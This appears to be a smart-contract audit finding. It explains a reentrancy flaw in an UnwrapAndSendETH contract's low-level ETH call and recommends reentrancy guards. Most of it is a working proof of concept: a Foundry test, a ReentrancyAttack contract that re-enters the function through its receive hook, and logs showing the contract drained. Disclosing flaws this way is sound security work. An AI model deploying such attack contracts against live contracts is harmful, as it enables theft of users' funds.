The core of the vulnerability lies in the contract's use of a low-level call to transfer ETH. Unlike transfer
or send
, which limit the amount of gas forwarded to the recipient, thereby preventing them from performing more complex operations, call forwards all remaining gas. This enables the recipient to perform actions such as calling back into the sending contract before the initial transaction is completed. If the recipient is a contract with a fallback or receive function designed to exploit this, it can re-enter the UnwrapAndSendETH
function leading to exploitation.
Integrate foundry into the project as described here: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry.
Copy and paste this code in a new file in the foundry/unit/ folder.
pragma solidity =0.7.6;
pragma abicoder v2;
import {Test, console} from "forge-std/Test.sol";
import {UnwrapAndSendETH} from "../../../contracts/pipeline/junctions/UnwrapAndSendETH.sol";
import {MockWETH} from "../../../contracts/mocks/MockWETH.sol";
contract UnwrapAndSendETHTest is Test {
UnwrapAndSendETH public unwrapAndSendETH;
MockWETH public mockWETH;
ReentrancyAttack public attacker;
function setUp() public {
console.log("******************** Logs SetUp ********************");
mockWETH = new MockWETH();
unwrapAndSendETH = new UnwrapAndSendETH(address(mockWETH));
attacker = new ReentrancyAttack(address(unwrapAndSendETH));
(bool success,) = address(mockWETH).call{value: 10 ether}("");
require(success, "Deposit failed");
uint256 wethBalance = mockWETH.balanceOf(address(this));
console.log("MockETH contract WETH balance: %s", mockWETH.balanceOf(address(this)));
assertTrue(wethBalance == 10 ether, "WETH minting failed");
mockWETH.transfer(address(unwrapAndSendETH), wethBalance);
console.log("UnwrapAndSendETH contract WETH balance: %s", mockWETH.balanceOf(address(unwrapAndSendETH)));
console.log("----------------------------------------------------------");
}
function testReentrancyAttack() public {
uint256 initialContractETHBalance = address(unwrapAndSendETH).balance;
uint256 initialAttackerETHBalance = address(attacker).balance;
uint256 initialContractWETHBalance = mockWETH.balanceOf(address(unwrapAndSendETH));
console.log("UnwrapAndSendETH contract initial WETH balance: %s", initialContractWETHBalance);
console.log("Attacker initial ETH balance: %s", initialAttackerETHBalance);
attacker.attack{value: 1 ether}();
uint256 finalContractETHBalance = address(unwrapAndSendETH).balance;
uint256 finalAttackerETHBalance = address(attacker).balance;
uint256 finalContractWETHBalance = mockWETH.balanceOf(address(unwrapAndSendETH));
console.log("Attacker final ETH balance: %s", finalAttackerETHBalance);
console.log("Contract final WETH balance: %s", finalContractWETHBalance);
assertLe(finalContractETHBalance - initialContractETHBalance, 1 ether, "Contract lost too much ETH");
assertGt(finalAttackerETHBalance - initialAttackerETHBalance, 1 ether, "Attacker gained too much ETH");
}
}
contract ReentrancyAttack {
UnwrapAndSendETH public unwrapAndSendETH;
constructor(address payable _unwrapAndSendETH) {
unwrapAndSendETH = UnwrapAndSendETH(_unwrapAndSendETH);
}
receive() external payable {
if (address(unwrapAndSendETH).balance >= 1 ether) {
unwrapAndSendETH.unwrapAndSendETH(msg.sender);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ether");
unwrapAndSendETH.unwrapAndSendETH(address(this));
}
}
Ran 1 test for test/foundry/unit/UnwrapAndSendETHTest.t.sol:UnwrapAndSendETHTest
[PASS] testReentrancyAttack() (gas: 75750)
Logs:
******************** Logs SetUp ********************
MockETH contract WETH balance: 10000000000000000000
UnwrapAndSendETH contract WETH balance: 10000000000000000000
----------------------------------------------------------
UnwrapAndSendETH contract initial WETH balance: 10000000000000000000
Attacker initial ETH balance: 0
Attacker final ETH balance: 11000000000000000000
Contract final WETH balance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.68ms (126.96µs CPU time)
The test shows that the balance of the contract was stolen during the attack.
Add re-entrancy guards.